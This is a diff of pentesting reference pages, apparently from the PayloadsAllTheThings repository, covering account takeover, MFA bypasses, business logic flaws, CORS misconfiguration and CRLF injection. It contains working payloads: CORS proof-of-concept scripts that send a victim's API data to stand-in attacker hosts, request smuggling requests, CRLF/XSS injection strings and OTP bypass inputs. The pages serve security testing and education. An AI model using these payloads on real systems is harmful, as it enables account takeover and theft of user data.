+### IDOR on API Parameters
+
+1. Attacker have to login with their account and go to the **Change password** feature.
+2. Start the Burp Suite and Intercept the request
+3. Send it to the repeater tab and edit the parameters : User ID/email
+
+    ```powershell
+    POST /api/changepass
+    [...]
+    ("form": {"email":"victim@email.com","password":"securepwd"})
+    ```
+
+### Weak Password Reset Token
+
+The password reset token should be randomly generated and unique every time.
+Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
+
+* Timestamp
+* UserID
+* Email of User
+* Firstname and Lastname
+* Date of Birth
+* Cryptography
+* Number only
+* Small token sequence (<6 characters between [A-Z,a-z,0-9])
+* Token reuse
+* Token expiration date
+
+### Leaking Password Reset Token
+
+1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
+2. Inspect the server response and check for `resetToken`
+3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
+
+### Password Reset via Username Collision
+
+1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
+2. Request a password reset with your malicious username.
+3. Use the token sent to your email and reset the victim password.
+4. Connect to the victim account with the new password.
+
+The platform CTFd was vulnerable to this attack.
+See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
+
+### Account Takeover Due To Unicode Normalization Issue
+
+When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.  
+
+* Victim account: `demo@gmail.com`
+* Attacker account: `demⓞ@gmail.com`
+
+[Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
+
+[Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
+
+## Account Takeover via Web Vulneralities
+
+### Account Takeover via Cross Site Scripting
+
+1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
+2. Leak the current **sessions cookie**
+3. Authenticate as the user using the cookie
+
+### Account Takeover via HTTP Request Smuggling
+
+Refer to **HTTP Request Smuggling** vulnerability page.
+
+1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
+
+    ```powershell
+    git clone https://github.com/defparam/smuggler.git
+    cd smuggler
+    python3 smuggler.py -h
+    ```
+
+2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
+
+    ```powershell
+    GET http://something.burpcollaborator.net  HTTP/1.1
+    X: 
+    ```
+
+3. Final request could look like the following
+
+    ```powershell
+    GET /  HTTP/1.1
+    Transfer-Encoding: chunked
+    Host: something.com
+    User-Agent: Smuggler/v1.0
+    Content-Length: 83
+
+    0
+
+    GET http://something.burpcollaborator.net  HTTP/1.1
+    X: X
+    ```
+
+Hackerone reports exploiting this bug
+
+* <https://hackerone.com/reports/737140>
+* <https://hackerone.com/reports/771666>
+
+### Account Takeover via CSRF
+
+1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
+2. Send the payload
+
+### Account Takeover via JWT
+
+JSON Web Token might be used to authenticate an user.
+
+* Edit the JWT with another User ID / Email
+* Check for weak JWT signature
+
+## References
+
+* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
+* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
+* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
+* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
+* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

Account Takeover/mfa-bypass.md

@@ -0,0 +1,99 @@
+# MFA Bypasses
+
+> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised.
+> MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
+
+## Summary
+
+* [Response Manipulation](#response-manipulation)
+* [Status Code Manipulation](#status-code-manipulation)
+* [2FA Code Leakage in Response](#2fa-code-leakage-in-response)
+* [JS File Analysis](#js-file-analysis)
+* [2FA Code Reusability](#2fa-code-reusability)
+* [Lack of Brute-Force Protection](#lack-of-brute-force-protection)
+* [Missing 2FA Code Integrity Validation](#missing-2fa-code-integrity-validation)
+* [CSRF on 2FA Disabling](#csrf-on-2fa-disabling)
+* [Password Reset Disable 2FA](#password-reset-disable-2fa)
+* [Backup Code Abuse](#backup-code-abuse)
+* [Clickjacking on 2FA Disabling Page](#clickjacking-on-2fa-disabling-page)
+* [Enabling 2FA doesn't expire Previously active Sessions](#enabling-2fa-doesnt-expire-previously-active-sessions)
+* [Bypass 2FA by Force Browsing](#bypass-2fa-by-force-browsing)
+* [Bypass 2FA with null or 000000](#bypass-2fa-with-null-or-000000)
+* [Bypass 2FA with array](#bypass-2fa-with-array)
+
+## 2FA Bypasses
+
+### Response Manipulation
+
+In response if `"success":false`
+Change it to `"success":true`
+
+### Status Code Manipulation
+
+If Status Code is **4xx**
+Try to change it to **200 OK** and see if it bypass restrictions
+
+### 2FA Code Leakage in Response
+
+Check the response of the 2FA Code Triggering Request to see if the code is leaked.
+
+### JS File Analysis
+
+Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
+
+### 2FA Code Reusability
+
+Same code can be reused
+
+### Lack of Brute-Force Protection
+
+Possible to brute-force any length 2FA Code
+
+### Missing 2FA Code Integrity Validation
+
+Code for any user acc can be used to bypass the 2FA
+
+### CSRF on 2FA Disabling
+
+No CSRF Protection on disabling 2FA, also there is no auth confirmation
+
+### Password Reset Disable 2FA
+
+2FA gets disabled on password change/email change
+
+### Backup Code Abuse
+
+Bypassing 2FA by abusing the Backup code feature
+Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
+
+### Clickjacking on 2FA Disabling Page
+
+Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
+
+### Enabling 2FA doesn't expire Previously active Sessions
+
+If the session is already hijacked and there is a session timeout vuln
+
+### Bypass 2FA by Force Browsing
+
+If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
+
+### Bypass 2FA with null or 000000
+
+Enter the code **000000** or **null** to bypass 2FA protection.
+
+### Bypass 2FA with array
+
+```json
+{
+    "otp":[
+        "1234",
+        "1111",
+        "1337", // GOOD OTP
+        "2222",
+        "3333",
+        "4444",
+        "5555"
+    ]
+}
+```

BOOKS.md

@@ -1,22 +0,0 @@
-# Book's list
-
-Grab a book and relax, these ones are the best security books (in my opinion).
-
-- [Web Hacking 101](https://leanpub.com/web-hacking-101)
-- [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec)
-- [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project)
-- [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn)
-- [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa)
-- [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD)
-- [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE)
-- [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
-- [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit)
-- [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
-- [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html)
-- [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
-- [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html)
-- [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
-- [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
-- [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html)
-- [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
-- [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking)

Business Logic Errors/README.md

@@ -0,0 +1,81 @@
+# Business Logic Errors
+
+> Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
+
+## Summary
+
+* [Methodology](#methodology)
+    * [Review Feature Testing](#review-feature-testing)
+    * [Discount Code Feature Testing](#discount-code-feature-testing)
+    * [Delivery Fee Manipulation](#delivery-fee-manipulation)
+    * [Currency Arbitrage](#currency-arbitrage)
+    * [Premium Feature Exploitation](#premium-feature-exploitation)
+    * [Refund Feature Exploitation](#refund-feature-exploitation)
+    * [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
+    * [Thread Comment Testing](#thread-comment-testing)
+* [References](#references)
+
+## Methodology
+
+Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
+
+Common examples of Business Logic Errors.
+
+### Review Feature Testing
+
+* Assess if you can post a product review as a verified reviewer without having purchased the item.
+* Attempt to provide a rating outside of the standard scale, for instance, a 0, 6 or negative number in a 1 to 5 scale system.
+* Test if the same user can post multiple ratings for a single product. This is useful in detecting potential race conditions.
+* Determine if the file upload field permits all extensions; developers often overlook protections on these endpoints.
+* Investigate the possibility of posting reviews impersonating other users.
+* Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
+
+### Discount Code Feature Testing
+
+* Try to apply the same discount code multiple times to assess if it's reusable.
+* If the discount code is unique, evaluate for race conditions by applying the same code for two accounts simultaneously.
+* Test for Mass Assignment or HTTP Parameter Pollution to see if you can apply multiple discount codes when the application is designed to accept only one.
+* Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
+* Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
+
+### Delivery Fee Manipulation
+
+* Experiment with negative values for delivery charges to see if it reduces the final amount.
+* Evaluate if free delivery can be activated by modifying parameters.
+
+### Currency Arbitrage
+
+* Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
+
+### Premium Feature Exploitation
+
+* Explore the possibility of accessing premium account-only sections or endpoints without a valid subscription.
+* Purchase a premium feature, cancel it, and see if you can still use it after a refund.
+* Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
+* Review cookies or local storage for variables validating premium access.
+
+### Refund Feature Exploitation
+
+* Purchase a product, ask for a refund, and see if the product remains accessible.
+* Look for opportunities for currency arbitrage.
+* Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
+
+### Cart/Wishlist Exploitation
+
+* Test the system by adding products in negative quantities, along with other products, to balance the total.
+* Try to add more of a product than is available.
+* Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
+
+### Thread Comment Testing
+
+* Check if there's a limit to the number of comments on a thread.
+* If a user can only comment once, use race conditions to see if multiple comments can be posted.
+* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
+* Attempt to post comments impersonating other users.
+
+## References
+
+* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
+* [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
+* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
+* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)

CONTRIBUTING.md

@@ -0,0 +1,47 @@
+# CONTRIBUTING
+
+PayloadsAllTheThings' Team :heart: pull requests.
+
+Feel free to improve with your payloads and techniques !
+
+You can also contribute with a :beers: IRL, or using the [sponsor](https://github.com/sponsors/swisskyrepo) button.
+
+## Pull Requests Guidelines
+
+In order to provide the safest payloads for the community, the following rules must be followed for **every** Pull Request.
+
+- Payloads must be sanitized
+    - Use `id`, and `whoami`, for RCE Proof of Concepts
+    - Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc.
+    - Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses
+    - Use `Administrator` for privileged users and `User` for normal account
+    - Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
+    - Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
+- References must have an `author`, a `title`, a `link` and a `date`
+    - Use [Wayback Machine](https://web.archive.org/) if the reference is not available anymore.
+    - The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
+    - References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
+
+Every pull request will be checked with `markdownlint` to ensure consistent writing and Markdown best practices. You can validate your files locally using the following Docker command:
+
+```ps1
+docker run -v $PWD:/workdir davidanson/markdownlint-cli2:v0.15.0 "**/*.md" --config .github/.markdownlint.json --fix
+```
+
+## Techniques Folder
+
+Every section should contains the following files, you can use the `_template_vuln` folder to create a new technique folder:
+
+- **README.md**: vulnerability description and how to exploit it, including several payloads, more below
+- **Intruder**: a set of files to give to Burp Intruder
+- **Images**: pictures for the README.md
+- **Files**: some files referenced in the README.md
+
+## README.md Format
+
+Use the example folder [_template_vuln/](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/) to create a new vulnerability document. The main page is [README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/_template_vuln/README.md). It is organized with sections for a title and description of the vulnerability, along with a summary table of contents linking to the main sections of the document.
+
+- **Tools**: Lists relevant tools with links to their repositories and brief descriptions.
+- **Methodology**: Provides a quick overview of the approach used, with code snippets to demonstrate exploitation steps.
+- **Labs**: References online platforms where similar vulnerabilities can be practiced, each with a link to the corresponding lab.
+- **References**: Lists external resources, such as blog posts or articles, providing additional context or case studies related to the vulnerability.

CORS Misconfiguration/README.md

@@ -0,0 +1,274 @@
+# CORS Misconfiguration
+
+> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials.
+
+## Summary
+
+* [Tools](#tools)
+* [Requirements](#requirements)
+* [Methodology](#methodology)
+    * [Origin Reflection](#origin-reflection)
+    * [Null Origin](#null-origin)
+    * [XSS on Trusted Origin](#xss-on-trusted-origin)
+    * [Wildcard Origin without Credentials](#wildcard-origin-without-credentials)
+    * [Expanding the Origin](#expanding-the-origin)
+* [Labs](#labs)
+* [References](#references)
+
+## Tools
+
+* [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
+* [chenjj/CORScanner](https://github.com/chenjj/CORScanner) - Fast CORS misconfiguration vulnerabilities scanner
+* [@honoki/PostMessage](https://tools.honoki.net/postmessage.html) - POC Builder
+* [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
+* [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
+
+## Requirements
+
+* BURP HEADER> `Origin: https://evil.com`
+* VICTIM HEADER> `Access-Control-Allow-Credential: true`
+* VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
+
+## Methodology
+
+Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
+
+### Origin Reflection
+
+#### Vulnerable Implementation
+
+```powershell
+GET /endpoint HTTP/1.1
+Host: victim.example.com
+Origin: https://evil.com
+Cookie: sessionid=... 
+
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: https://evil.com
+Access-Control-Allow-Credentials: true 
+
+{"[private API key]"}
+```
+
+#### Proof Of Concept
+
+This PoC requires that the respective JS script is hosted at `evil.com`
+
+```js
+var req = new XMLHttpRequest(); 
+req.onload = reqListener; 
+req.open('get','https://victim.example.com/endpoint',true); 
+req.withCredentials = true;
+req.send();
+
+function reqListener() {
+    location='//attacker.net/log?key='+this.responseText; 
+};
+```
+
+or
+
+```html
+<html>
+     <body>
+         <h2>CORS PoC</h2>
+         <div id="demo">
+             <button type="button" onclick="cors()">Exploit</button>
+         </div>
+         <script>
+             function cors() {
+             var xhr = new XMLHttpRequest();
+             xhr.onreadystatechange = function() {
+                 if (this.readyState == 4 && this.status == 200) {
+                 document.getElementById("demo").innerHTML = alert(this.responseText);
+                 }
+             };
+              xhr.open("GET",
+                       "https://victim.example.com/endpoint", true);
+             xhr.withCredentials = true;
+             xhr.send();
+             }
+         </script>
+     </body>
+ </html>
+```
+
+### Null Origin
+
+#### Vulnerable Implementation
+
+It's possible that the server does not reflect the complete `Origin` header but
+that the `null` origin is allowed. This would look like this in the server's
+response:
+
+```ps1
+GET /endpoint HTTP/1.1
+Host: victim.example.com
+Origin: null
+Cookie: sessionid=... 
+
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: null
+Access-Control-Allow-Credentials: true 
+
+{"[private API key]"}
+```
+
+#### Proof Of Concept
+
+This can be exploited by putting the attack code into an iframe using the data
+URI scheme. If the data URI scheme is used, the browser will use the `null`
+origin in the request:
+
+```html
+<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
+  var req = new XMLHttpRequest();
+  req.onload = reqListener;
+  req.open('get','https://victim.example.com/endpoint',true);
+  req.withCredentials = true;
+  req.send();
+
+  function reqListener() {
+    location='https://attacker.example.net/log?key='+encodeURIComponent(this.responseText);
+   };
+</script>"></iframe> 
+```
+
+### XSS on Trusted Origin
+
+If the application does implement a strict whitelist of allowed origins, the
+exploit codes from above do not work. But if you have an XSS on a trusted
+origin, you can inject the exploit coded from above in order to exploit CORS
+again.
+
+```ps1
+https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
+```
+
+### Wildcard Origin without Credentials
+
+If the server responds with a wildcard origin `*`, **the browser does never send
+the cookies**. However, if the server does not require authentication, it's still
+possible to access the data on the server. This can happen on internal servers
+that are not accessible from the Internet. The attacker's website can then
+pivot into the internal network and access the server's data without authentication.
+
+```powershell
+* is the only wildcard origin
+https://*.example.com is not valid
+```
+
+#### Vulnerable Implementation
+
+```powershell
+GET /endpoint HTTP/1.1
+Host: api.internal.example.com
+Origin: https://evil.com
+
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: *
+
+{"[private API key]"}
+```
+
+#### Proof Of Concept
+
+```js
+var req = new XMLHttpRequest(); 
+req.onload = reqListener; 
+req.open('get','https://api.internal.example.com/endpoint',true); 
+req.send();
+
+function reqListener() {
+    location='//attacker.net/log?key='+this.responseText; 
+};
+```
+
+### Expanding the Origin
+
+Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
+
+#### Vulnerable Implementation (Example 1)
+
+In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
+
+```ps1
+GET /endpoint HTTP/1.1
+Host: api.example.com
+Origin: https://evilexample.com
+
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: https://evilexample.com
+Access-Control-Allow-Credentials: true 
+
+{"[private API key]"}
+```
+
+#### Proof of Concept (Example 1)
+
+This PoC requires the respective JS script to be hosted at `evilexample.com`
+
+```js
+var req = new XMLHttpRequest(); 
+req.onload = reqListener; 
+req.open('get','https://api.example.com/endpoint',true); 
+req.withCredentials = true;
+req.send();
+
+function reqListener() {
+    location='//attacker.net/log?key='+this.responseText; 
+};
+```
+
+#### Vulnerable Implementation (Example 2)
+
+In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
+
+```ps1
+GET /endpoint HTTP/1.1
+Host: api.example.com
+Origin: https://apiiexample.com
+
+HTTP/1.1 200 OK
+Access-Control-Allow-Origin: https://apiiexample.com
+Access-Control-Allow-Credentials: true 
+
+{"[private API key]"}
+```
+
+#### Proof of concept (Example 2)
+
+This PoC requires the respective JS script to be hosted at `apiiexample.com`
+
+```js
+var req = new XMLHttpRequest(); 
+req.onload = reqListener; 
+req.open('get','https://api.example.com/endpoint',true); 
+req.withCredentials = true;
+req.send();
+
+function reqListener() {
+    location='//attacker.net/log?key='+this.responseText; 
+};
+```
+
+## Labs
+
+* [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
+* [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
+* [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
+* [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
+
+## References
+
+* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
+* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
+* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
+* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
+* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
+* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
+* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
+* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
+* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
+* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
+* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

CRLF Injection/README.md

@@ -1,74 +1,66 @@
-# CRLF
+# Carriage Return Line Feed
 
-The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
+> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
 
-A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
+## Summary
 
-## CRLF - Add a cookie
+* [Methodology](#methodology)
+    * [Session Fixation](#session-fixation)
+    * [Cross Site Scripting](#cross-site-scripting)
+    * [Open Redirect](#open-redirect)
+* [Filter Bypass](#filter-bypass)
+* [Labs](#labs)
+* [References](#references)
 
-Requested page
+## Methodology
 
-```powershell
+HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
-http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
-```
 
-HTTP Response
+**CRLF Characters**:
 
-```powershell
+* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
-Connection: keep-alive
+* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
-Content-Length: 178
-Content-Type: text/html
-Date: Mon, 09 May 2016 14:47:29 GMT
-Location: https://www.example.net/[INJECTION STARTS HERE]
-Set-Cookie: mycookie=myvalue
-X-Frame-Options: SAMEORIGIN
-X-Sucuri-ID: 15016
-x-content-type-options: nosniff
-x-xss-protection: 1; mode=block
-```
 
-## CRLF - Add a cookie - XSS Bypass
+By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
 
-Requested page
+* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
+* Cache Poisoning: Forcing incorrect content to be stored in caches.
+* Header Manipulation: Altering headers to mislead users or systems
 
-```powershell
+### Session Fixation
-http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
-```
 
-HTTP Response
+A typical HTTP response header looks like this:
 
-```powershell
+```http
 HTTP/1.1 200 OK
-Date: Tue, 20 Dec 2016 14:34:03 GMT
+Content-Type: text/html
-Content-Type: text/html; charset=utf-8
+Set-Cookie: sessionid=abc123
-Content-Length: 22907
-Connection: close
-X-Frame-Options: SAMEORIGIN
-Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
-ETag: "842fe-597b-54415a5c97a80"
-Vary: Accept-Encoding
-X-UA-Compatible: IE=edge
-Server: NetDNA-cache/2.2
-Link: <https://example.com/[INJECTION STARTS HERE]
-Content-Length:35
-X-XSS-Protection:0
-
-23
-<svg onload=alert(document.domain)>
-0
 ```
 
-## CRLF - Write HTML
+If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
 
-Requested page
+```http
+HTTP/1.1 200 OK
+Content-Type: text/html
+Set-Cookie: sessionid=value
+Set-Cookie: admin=true
+```
 
-```powershell
+Now the attacker has set their own cookie.
+
+### Cross Site Scripting
+
+Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
+
+**Requested page**:
+
+```http
 http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
 ```
 
-HTTP response
+**HTTP response**:
 
-```powershell
+```http
 Set-Cookie:en
 Content-Length: 0
 
@@ -80,22 +72,81 @@ Content-Length: 34
 ```
 
 In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
-## CRLF - Filter Bypass
+
 **Requested page**:
-Using UTF-8 encoding
+
 ```powershell
 http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
-%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
+```
 
 **HTTP Response**:
-Remainder:
+
 ```http
-* %E5%98%8A = %0A = \u560a
+HTTP/1.1 200 OK
-* %E5%98%8D = %0D = \u560d
+Date: Tue, 20 Dec 2016 14:34:03 GMT
-* %E5%98%BE = %3E = \u563e (>)
+Content-Type: text/html; charset=utf-8
-* %E5%98%BC = %3C = \u563c (<)
+Content-Length: 22907
+Connection: close
+X-Frame-Options: SAMEORIGIN
+Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
+ETag: "842fe-597b-54415a5c97a80"
+Vary: Accept-Encoding
+X-UA-Compatible: IE=edge
+Server: NetDNA-cache/2.2
+Link: https://example.com/[INJECTION STARTS HERE]
+Content-Length:35
+X-XSS-Protection:0
+
+```
+
+### Open Redirect
+
+Inject a `Location` header to force a redirect for the user.
+
+```ps1
+%0d%0aLocation:%20http://myweb.com
+```
+
+## Filter Bypass
+
+[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
+
+> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
+
+Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
+
+| UTF-8 Character | Hex | Unicode | Stripped |
+| --------- | --- | ------- | -------- |
+| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
